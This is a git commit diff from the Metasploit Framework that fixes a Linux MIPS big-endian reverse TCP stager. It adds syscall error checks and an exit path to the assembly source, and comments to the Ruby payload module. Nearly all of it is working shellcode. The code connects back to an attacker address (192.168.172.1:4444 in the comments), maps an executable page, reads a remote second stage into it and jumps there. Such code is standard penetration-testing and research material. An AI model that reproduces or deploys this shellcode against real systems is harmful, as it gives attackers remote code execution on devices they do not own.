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fix reverse tcp stager src

bug/bundler_fix
tkmru 2017-07-05 17:56:59 +09:00
parent d1f08a80bd
commit d02d6826a9
2 changed files with 27 additions and 7 deletions
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28
external/source/shellcode/linux/mipsbe/stager_sock_reverse.s vendored
View File

@ -4,7 +4,7 @@
# Type: Stager # Type: Stager
# Qualities: No Nulls out of the IP / Port data # Qualities: No Nulls out of the IP / Port data
# Platforms: Linux MIPS Big Endian # Platforms: Linux MIPS Big Endian
# Authors: juan vazquez <juan.vazquez [at] metasploit.com> # Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
# License: # License:
# #
# This file is part of the Metasploit Exploit Framework # This file is part of the Metasploit Exploit Framework
@ -29,12 +29,11 @@
## ##
.text .text
.align 2 .align 2
.globl main .globl main
.set nomips16 .set nomips16
main: main:
.set noreorder .set noreorder
.set nomacro .set nomacro
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP) # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
# a0: domain = PF_INET (2) # a0: domain = PF_INET (2)
# a1: type = SOCK_STREAM (2) # a1: type = SOCK_STREAM (2)
@ -47,8 +46,9 @@ main:
slti $a2, $zero, -1 slti $a2, $zero, -1
li $v0, 4183 li $v0, 4183
syscall 0x40404 syscall 0x40404
slt $s0, $zero, $a3
sw $v0, -4($sp) # store the file descriptor for the socket on the stack bne $s0, $zero, failed
sw $v0, -4($sp) # store the file descriptor for the socket on the stack
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
# a0: sockfd # a0: sockfd
@ -69,6 +69,8 @@ main:
nor $a2, $t4, $zero nor $a2, $t4, $zero
li $v0, 4170 li $v0, 4170
syscall 0x40404 syscall 0x40404
slt $s0, $zero, $a3
bne $s0, $zero, failed
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
# a0: addr = -1 # a0: addr = -1
@ -92,7 +94,8 @@ main:
sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
li $v0, 4090 li $v0, 4090
syscall 0x40404 syscall 0x40404
slt $s0, $zero, $a3
bne $s0, $zero, failed
sw $v0, -8($sp) # Stores the mmap'ed address on the stack sw $v0, -8($sp) # Stores the mmap'ed address on the stack
# read(sockfd, addr, 4096) # read(sockfd, addr, 4096)
@ -106,6 +109,8 @@ main:
addi $a2, $a2, -1 addi $a2, $a2, -1
li $v0, 4003 li $v0, 4003
syscall 0x40404 syscall 0x40404
slt $s0, $zero, $a3
bne $s0, $zero, failed
# cacheflush(addr, nbytes, DCACHE) # cacheflush(addr, nbytes, DCACHE)
# a0: addr # a0: addr
@ -119,11 +124,20 @@ main:
add $a2, $t1, $0 add $a2, $t1, $0
li $v0, 4147 li $v0, 4147
syscall 0x40404 syscall 0x40404
slt $s0, $zero, $a3
bne $s0, $zero, failed
# jmp to the stage # jmp to the stage
lw $s1, -8($sp) lw $s1, -8($sp)
lw $s2, -4($sp) lw $s2, -4($sp)
jalr $s1 jalr $s1
failed:
# exit(status)
# a0: status
# v0: syscall = __NR_exit (4001)
li $a0, 1
li $v0, 4001
syscall 0x40404
.set macro .set macro
.set reorder .set reorder

6
modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
View File

@ -41,6 +41,7 @@ module MetasploitModule
"\x21\xe5\xff\xfd" + # addi a1,t7,-3 "\x21\xe5\xff\xfd" + # addi a1,t7,-3
"\x28\x06\xff\xff" + # slti a2,zero,-1 "\x28\x06\xff\xff" + # slti a2,zero,-1
"\x24\x02\x10\x57" + # li v0,4183 "\x24\x02\x10\x57" + # li v0,4183
# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
"\x01\x01\x01\x0c" + # syscall 0x40404 "\x01\x01\x01\x0c" + # syscall 0x40404
"\x00\x07\x80\x2a" + # slt s0,zero,a3 "\x00\x07\x80\x2a" + # slt s0,zero,a3
"\x16\x00\x00\x36" + # bnez s0,0x4006bc <failed> "\x16\x00\x00\x36" + # bnez s0,0x4006bc <failed>
@ -58,6 +59,7 @@ module MetasploitModule
"\x24\x0c\xff\xef" + # li t4,-17 "\x24\x0c\xff\xef" + # li t4,-17
"\x01\x80\x30\x27" + # nor a2,t4,zero "\x01\x80\x30\x27" + # nor a2,t4,zero
"\x24\x02\x10\x4a" + # li v0,4170 "\x24\x02\x10\x4a" + # li v0,4170
# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
"\x01\x01\x01\x0c" + # syscall 0x40404 "\x01\x01\x01\x0c" + # syscall 0x40404
"\x00\x07\x80\x2a" + # slt s0,zero,a3 "\x00\x07\x80\x2a" + # slt s0,zero,a3
"\x16\x00\x00\x25" + # bnez s0,0x4006bc <failed> "\x16\x00\x00\x25" + # bnez s0,0x4006bc <failed>
@ -74,6 +76,7 @@ module MetasploitModule
"\xad\x60\xff\xff" + # sw zero,-1(t3) "\xad\x60\xff\xff" + # sw zero,-1(t3)
"\xad\x62\xff\xfb" + # sw v0,-5(t3) "\xad\x62\xff\xfb" + # sw v0,-5(t3)
"\x24\x02\x0f\xfa" + # li v0,4090 "\x24\x02\x0f\xfa" + # li v0,4090
# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
"\x01\x01\x01\x0c" + # syscall 0x40404 "\x01\x01\x01\x0c" + # syscall 0x40404
"\x00\x07\x80\x2a" + # slt s0,zero,a3 "\x00\x07\x80\x2a" + # slt s0,zero,a3
"\x16\x00\x00\x15" + # bnez s0,0x4006bc <failed> "\x16\x00\x00\x15" + # bnez s0,0x4006bc <failed>
@ -83,6 +86,7 @@ module MetasploitModule
"\x24\x06\x10\x01" + # li a2,4097 "\x24\x06\x10\x01" + # li a2,4097
"\x20\xc6\xff\xff" + # addi a2,a2,-1 "\x20\xc6\xff\xff" + # addi a2,a2,-1
"\x24\x02\x0f\xa3" + # li v0,4003 "\x24\x02\x0f\xa3" + # li v0,4003
# read(sockfd, addr, 4096)
"\x01\x01\x01\x0c" + # syscall 0x40404 "\x01\x01\x01\x0c" + # syscall 0x40404
"\x00\x07\x80\x2a" + # slt s0,zero,a3 "\x00\x07\x80\x2a" + # slt s0,zero,a3
"\x16\x00\x00\x0c" + # bnez s0,0x4006bc <failed> "\x16\x00\x00\x0c" + # bnez s0,0x4006bc <failed>
@ -92,6 +96,7 @@ module MetasploitModule
"\x01\x20\x48\x27" + # nor t1,t1,zero "\x01\x20\x48\x27" + # nor t1,t1,zero
"\x01\x20\x30\x20" + # add a2,t1,zero "\x01\x20\x30\x20" + # add a2,t1,zero
"\x24\x02\x10\x33" + # li v0,4147 "\x24\x02\x10\x33" + # li v0,4147
# cacheflush(addr, nbytes, DCACHE)
"\x01\x01\x01\x0c" + # syscall 0x40404 "\x01\x01\x01\x0c" + # syscall 0x40404
"\x00\x07\x80\x2a" + # slt s0,zero,a3 "\x00\x07\x80\x2a" + # slt s0,zero,a3
"\x16\x00\x00\x03" + # bnez s0,0x4006bc <failed> "\x16\x00\x00\x03" + # bnez s0,0x4006bc <failed>
@ -101,6 +106,7 @@ module MetasploitModule
# 4006bc <failed>: # 4006bc <failed>:
"\x24\x04\x00\x01" + # li a0,1 "\x24\x04\x00\x01" + # li a0,1
"\x24\x02\x0f\xa1" + # li v0,4001 "\x24\x02\x0f\xa1" + # li v0,4001
# exit(status)
"\x01\x01\x01\x0c" + # syscall 0x40404 "\x01\x01\x01\x0c" + # syscall 0x40404
"\x00\x20\x08\x25" + # move at,at "\x00\x20\x08\x25" + # move at,at
"\x00\x20\x08\x25" # move at,at "\x00\x20\x08\x25" # move at,at